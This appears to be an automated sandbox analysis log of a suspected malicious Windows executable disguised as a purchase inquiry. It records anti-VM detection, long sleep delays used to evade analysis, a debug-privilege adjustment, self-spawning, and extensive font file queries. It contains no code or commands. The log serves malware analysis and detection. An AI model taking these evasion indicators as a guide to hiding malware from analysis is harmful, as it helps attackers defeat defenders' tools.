Source: C:\Users\user\Desktop\Purchase Inquiry_#466789.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Inquiry_#466789.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Inquiry_#466789.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Inquiry_#466789.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Inquiry_#466789.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Inquiry_#466789.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Inquiry_#466789.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Inquiry_#466789.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Inquiry_#466789.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Inquiry_#466789.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Inquiry_#466789.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Inquiry_#466789.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Inquiry_#466789.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Inquiry_#466789.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Inquiry_#466789.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Inquiry_#466789.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Inquiry_#466789.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Inquiry_#466789.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Inquiry_#466789.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Inquiry_#466789.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Inquiry_#466789.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Inquiry_#466789.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Inquiry_#466789.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Inquiry_#466789.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Inquiry_#466789.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Inquiry_#466789.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Inquiry_#466789.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Inquiry_#466789.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Inquiry_#466789.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Inquiry_#466789.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Inquiry_#466789.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Inquiry_#466789.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Inquiry_#466789.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Inquiry_#466789.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Inquiry_#466789.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Inquiry_#466789.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Inquiry_#466789.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Inquiry_#466789.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Inquiry_#466789.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Inquiry_#466789.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Inquiry_#466789.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Inquiry_#466789.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Inquiry_#466789.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Inquiry_#466789.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Inquiry_#466789.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Inquiry_#466789.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Inquiry_#466789.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Inquiry_#466789.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Inquiry_#466789.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Inquiry_#466789.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Inquiry_#466789.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Inquiry_#466789.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior

Malware Analysis System Evasion

Yara detected AntiVM3

Source: Yara match

File source: Process Memory Space: Purchase Inquiry_#466789.exe PID: 1880, type: MEMORYSTR

Source: C:\Users\user\Desktop\Purchase Inquiry_#466789.exe	Memory allocated: 1140000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Inquiry_#466789.exe	Memory allocated: 2D20000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Inquiry_#466789.exe	Memory allocated: 2B70000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Inquiry_#466789.exe	Memory allocated: 7AA0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Inquiry_#466789.exe	Memory allocated: 7530000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Inquiry_#466789.exe	Memory allocated: 8BA0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Inquiry_#466789.exe	Memory allocated: 9BA0000 memory reserve \| memory write watch	Jump to behavior

Source: C:\Users\user\Desktop\Purchase Inquiry_#466789.exe

Thread delayed: delay time: 922337203685477

Jump to behavior

Source: C:\Users\user\Desktop\Purchase Inquiry_#466789.exe TID: 3260	Thread sleep time: -922337203685477s >= -30000s			Jump to behavior
Source: C:\Users\user\Desktop\Purchase Inquiry_#466789.exe TID: 7248	Thread sleep time: -780000s >= -30000s			Jump to behavior

Source: C:\Users\user\Desktop\Purchase Inquiry_#466789.exe

Code function: 2_2_00403D74 FindFirstFileW,FindNextFileW,FindFirstFileW,FindNextFileW,

2_2_00403D74

Source: C:\Users\user\Desktop\Purchase Inquiry_#466789.exe	Thread delayed: delay time: 922337203685477			Jump to behavior
Source: C:\Users\user\Desktop\Purchase Inquiry_#466789.exe	Thread delayed: delay time: 60000			Jump to behavior

Source: Purchase Inquiry_#466789.exe, 00000002.00000002.2909018268.00000000011B8000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll

Source: C:\Users\user\Desktop\Purchase Inquiry_#466789.exe

Code function: 2_2_0040317B mov eax, dword ptr fs:[00000030h]

2_2_0040317B

Source: C:\Users\user\Desktop\Purchase Inquiry_#466789.exe

Code function: 2_2_00402B7C GetProcessHeap,RtlAllocateHeap,

2_2_00402B7C

Source: C:\Users\user\Desktop\Purchase Inquiry_#466789.exe

Process token adjusted: Debug

Jump to behavior

Source: C:\Users\user\Desktop\Purchase Inquiry_#466789.exe

Memory allocated: page read and write | page guard

Jump to behavior

Source: C:\Users\user\Desktop\Purchase Inquiry_#466789.exe

Process created: C:\Users\user\Desktop\Purchase Inquiry_#466789.exe "C:\Users\user\Desktop\Purchase Inquiry_#466789.exe"

Jump to behavior

Source: C:\Users\user\Desktop\Purchase Inquiry_#466789.exe	Queries volume information: C:\Users\user\Desktop\Purchase Inquiry_#466789.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Inquiry_#466789.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Inquiry_#466789.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Inquiry_#466789.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Accessibility\v4.0_4.0.0.0__b03f5f7f11d50a3a\Accessibility.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Inquiry_#466789.exe	Queries volume information: C:\Windows\Fonts\bahnschrift.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Inquiry_#466789.exe	Queries volume information: C:\Windows\Fonts\bahnschrift.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Inquiry_#466789.exe	Queries volume information: C:\Windows\Fonts\bahnschrift.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Inquiry_#466789.exe	Queries volume information: C:\Windows\Fonts\bahnschrift.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Inquiry_#466789.exe	Queries volume information: C:\Windows\Fonts\bahnschrift.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Inquiry_#466789.exe	Queries volume information: C:\Windows\Fonts\bahnschrift.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Inquiry_#466789.exe	Queries volume information: C:\Windows\Fonts\bahnschrift.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Inquiry_#466789.exe	Queries volume information: C:\Windows\Fonts\bahnschrift.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Inquiry_#466789.exe	Queries volume information: C:\Windows\Fonts\calibrili.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Inquiry_#466789.exe	Queries volume information: C:\Windows\Fonts\calibrib.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Inquiry_#466789.exe	Queries volume information: C:\Windows\Fonts\calibriz.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Inquiry_#466789.exe	Queries volume information: C:\Windows\Fonts\cambria.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Inquiry_#466789.exe	Queries volume information: C:\Windows\Fonts\cambriai.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Inquiry_#466789.exe	Queries volume information: C:\Windows\Fonts\cambriab.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Inquiry_#466789.exe	Queries volume information: C:\Windows\Fonts\cambriaz.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Inquiry_#466789.exe	Queries volume information: C:\Windows\Fonts\cambria.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Inquiry_#466789.exe	Queries volume information: C:\Windows\Fonts\Candarai.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Inquiry_#466789.exe	Queries volume information: C:\Windows\Fonts\Candarali.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Inquiry_#466789.exe	Queries volume information: C:\Windows\Fonts\Candarab.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Inquiry_#466789.exe	Queries volume information: C:\Windows\Fonts\Candaraz.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Inquiry_#466789.exe	Queries volume information: C:\Windows\Fonts\comic.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Inquiry_#466789.exe	Queries volume information: C:\Windows\Fonts\comici.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Inquiry_#466789.exe	Queries volume information: C:\Windows\Fonts\comicbd.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Inquiry_#466789.exe	Queries volume information: C:\Windows\Fonts\comicz.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Inquiry_#466789.exe	Queries volume information: C:\Windows\Fonts\constan.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Inquiry_#466789.exe	Queries volume information: C:\Windows\Fonts\constani.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Inquiry_#466789.exe	Queries volume information: C:\Windows\Fonts\constanb.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Inquiry_#466789.exe	Queries volume information: C:\Windows\Fonts\constanz.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Inquiry_#466789.exe	Queries volume information: C:\Windows\Fonts\corbel.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Inquiry_#466789.exe	Queries volume information: C:\Windows\Fonts\corbell.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Inquiry_#466789.exe	Queries volume information: C:\Windows\Fonts\corbeli.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Inquiry_#466789.exe	Queries volume information: C:\Windows\Fonts\corbelli.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Inquiry_#466789.exe	Queries volume information: C:\Windows\Fonts\corbelb.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Inquiry_#466789.exe	Queries volume information: C:\Windows\Fonts\corbelz.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Inquiry_#466789.exe	Queries volume information: C:\Windows\Fonts\cour.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Inquiry_#466789.exe	Queries volume information: C:\Windows\Fonts\couri.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Inquiry_#466789.exe	Queries volume information: C:\Windows\Fonts\courbd.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Inquiry_#466789.exe	Queries volume information: C:\Windows\Fonts\courbi.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Inquiry_#466789.exe	Queries volume information: C:\Windows\Fonts\ebrima.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Inquiry_#466789.exe	Queries volume information: C:\Windows\Fonts\ebrimabd.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Inquiry_#466789.exe	Queries volume information: C:\Windows\Fonts\framd.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Inquiry_#466789.exe	Queries volume information: C:\Windows\Fonts\FRADM.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Inquiry_#466789.exe	Queries volume information: C:\Windows\Fonts\FRADMIT.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Inquiry_#466789.exe	Queries volume information: C:\Windows\Fonts\FRAMDCN.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Inquiry_#466789.exe	Queries volume information: C:\Windows\Fonts\FRAHV.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Inquiry_#466789.exe	Queries volume information: C:\Windows\Fonts\gadugi.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Inquiry_#466789.exe	Queries volume information: C:\Windows\Fonts\gadugib.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Inquiry_#466789.exe	Queries volume information: C:\Windows\Fonts\georgia.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Inquiry_#466789.exe	Queries volume information: C:\Windows\Fonts\georgiai.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Inquiry_#466789.exe	Queries volume information: C:\Windows\Fonts\georgiab.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Inquiry_#466789.exe	Queries volume information: C:\Windows\Fonts\georgiaz.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Inquiry_#466789.exe	Queries volume information: C:\Windows\Fonts\impact.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Inquiry_#466789.exe	Queries volume information: C:\Windows\Fonts\Inkfree.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Inquiry_#466789.exe	Queries volume information: C:\Windows\Fonts\javatext.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Inquiry_#466789.exe	Queries volume information: C:\Windows\Fonts\LeelawUI.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Inquiry_#466789.exe	Queries volume information: C:\Windows\Fonts\LeelUIsl.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Inquiry_#466789.exe	Queries volume information: C:\Windows\Fonts\LeelaUIb.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Inquiry_#466789.exe	Queries volume information: C:\Windows\Fonts\lucon.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Inquiry_#466789.exe	Queries volume information: C:\Windows\Fonts\l_10646.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Inquiry_#466789.exe	Queries volume information: C:\Windows\Fonts\malgun.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Inquiry_#466789.exe	Queries volume information: C:\Windows\Fonts\malgunsl.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Inquiry_#466789.exe	Queries volume information: C:\Windows\Fonts\malgunbd.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Inquiry_#466789.exe	Queries volume information: C:\Windows\Fonts\himalaya.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Inquiry_#466789.exe	Queries volume information: C:\Windows\Fonts\msjh.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Inquiry_#466789.exe	Queries volume information: C:\Windows\Fonts\msjhl.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Inquiry_#466789.exe	Queries volume information: C:\Windows\Fonts\msjhbd.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Inquiry_#466789.exe	Queries volume information: C:\Windows\Fonts\msjh.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Inquiry_#466789.exe	Queries volume information: C:\Windows\Fonts\msjhl.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Inquiry_#466789.exe	Queries volume information: C:\Windows\Fonts\ntailu.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Inquiry_#466789.exe	Queries volume information: C:\Windows\Fonts\ntailub.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Inquiry_#466789.exe	Queries volume information: C:\Windows\Fonts\phagspa.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Inquiry_#466789.exe	Queries volume information: C:\Windows\Fonts\phagspab.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Inquiry_#466789.exe	Queries volume information: C:\Windows\Fonts\micross.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Inquiry_#466789.exe	Queries volume information: C:\Windows\Fonts\taile.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Inquiry_#466789.exe	Queries volume information: C:\Windows\Fonts\msyh.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Inquiry_#466789.exe	Queries volume information: C:\Windows\Fonts\msyhl.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Inquiry_#466789.exe	Queries volume information: C:\Windows\Fonts\msyhbd.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Inquiry_#466789.exe	Queries volume information: C:\Windows\Fonts\msyh.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Inquiry_#466789.exe	Queries volume information: C:\Windows\Fonts\msyhl.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Inquiry_#466789.exe	Queries volume information: C:\Windows\Fonts\msyi.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Inquiry_#466789.exe	Queries volume information: C:\Windows\Fonts\mingliub.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Inquiry_#466789.exe	Queries volume information: C:\Windows\Fonts\mingliub.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Inquiry_#466789.exe	Queries volume information: C:\Windows\Fonts\mingliub.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Inquiry_#466789.exe	Queries volume information: C:\Windows\Fonts\msgothic.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Inquiry_#466789.exe	Queries volume information: C:\Windows\Fonts\msgothic.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Inquiry_#466789.exe	Queries volume information: C:\Windows\Fonts\msgothic.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Inquiry_#466789.exe	Queries volume information: C:\Windows\Fonts\mvboli.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Inquiry_#466789.exe	Queries volume information: C:\Windows\Fonts\mmrtext.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Inquiry_#466789.exe	Queries volume information: C:\Windows\Fonts\mmrtextb.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Inquiry_#466789.exe	Queries volume information: C:\Windows\Fonts\Nirmala.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Inquiry_#466789.exe	Queries volume information: C:\Windows\Fonts\NirmalaS.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Inquiry_#466789.exe	Queries volume information: C:\Windows\Fonts\NirmalaB.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Inquiry_#466789.exe	Queries volume information: C:\Windows\Fonts\pala.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Inquiry_#466789.exe	Queries volume information: C:\Windows\Fonts\palai.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Inquiry_#466789.exe	Queries volume information: C:\Windows\Fonts\palab.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Inquiry_#466789.exe	Queries volume information: C:\Windows\Fonts\palabi.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Inquiry_#466789.exe	Queries volume information: C:\Windows\Fonts\segoepr.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Inquiry_#466789.exe	Queries volume information: C:\Windows\Fonts\segoeprb.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Inquiry_#466789.exe	Queries volume information: C:\Windows\Fonts\segoesc.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Inquiry_#466789.exe	Queries volume information: C:\Windows\Fonts\segoescb.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Inquiry_#466789.exe	Queries volume information: C:\Windows\Fonts\seguihis.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Inquiry_#466789.exe	Queries volume information: C:\Windows\Fonts\simsun.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Inquiry_#466789.exe	Queries volume information: C:\Windows\Fonts\simsunb.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Inquiry_#466789.exe	Queries volume information: C:\Windows\Fonts\Sitka.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Inquiry_#466789.exe	Queries volume information: C:\Windows\Fonts\SitkaI.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Inquiry_#466789.exe	Queries volume information: C:\Windows\Fonts\SitkaB.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Inquiry_#466789.exe	Queries volume information: C:\Windows\Fonts\SitkaZ.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Inquiry_#466789.exe	Queries volume information: C:\Windows\Fonts\Sitka.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Inquiry_#466789.exe	Queries volume information: C:\Windows\Fonts\SitkaI.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Inquiry_#466789.exe	Queries volume information: C:\Windows\Fonts\SitkaZ.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Inquiry_#466789.exe	Queries volume information: C:\Windows\Fonts\sylfaen.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Inquiry_#466789.exe	Queries volume information: C:\Windows\Fonts\symbol.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Inquiry_#466789.exe	Queries volume information: C:\Windows\Fonts\tahoma.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Inquiry_#466789.exe	Queries volume information: C:\Windows\Fonts\tahomabd.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Inquiry_#466789.exe	Queries volume information: C:\Windows\Fonts\timesi.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Inquiry_#466789.exe	Queries volume information: C:\Windows\Fonts\timesbi.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Inquiry_#466789.exe	Queries volume information: C:\Windows\Fonts\trebuc.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Inquiry_#466789.exe	Queries volume information: C:\Windows\Fonts\trebucit.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Inquiry_#466789.exe	Queries volume information: C:\Windows\Fonts\trebucbd.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Inquiry_#466789.exe	Queries volume information: C:\Windows\Fonts\trebucbi.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Inquiry_#466789.exe	Queries volume information: C:\Windows\Fonts\verdana.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Inquiry_#466789.exe	Queries volume information: C:\Windows\Fonts\verdanai.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Inquiry_#466789.exe	Queries volume information: C:\Windows\Fonts\verdanab.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Inquiry_#466789.exe	Queries volume information: C:\Windows\Fonts\verdanaz.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Inquiry_#466789.exe	Queries volume information: C:\Windows\Fonts\webdings.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Inquiry_#466789.exe	Queries volume information: C:\Windows\Fonts\wingding.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Inquiry_#466789.exe	Queries volume information: C:\Windows\Fonts\YuGothR.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Inquiry_#466789.exe	Queries volume information: C:\Windows\Fonts\YuGothM.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Inquiry_#466789.exe	Queries volume information: C:\Windows\Fonts\YuGothL.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Inquiry_#466789.exe	Queries volume information: C:\Windows\Fonts\YuGothB.ttc VolumeInformation	Jump to behavior
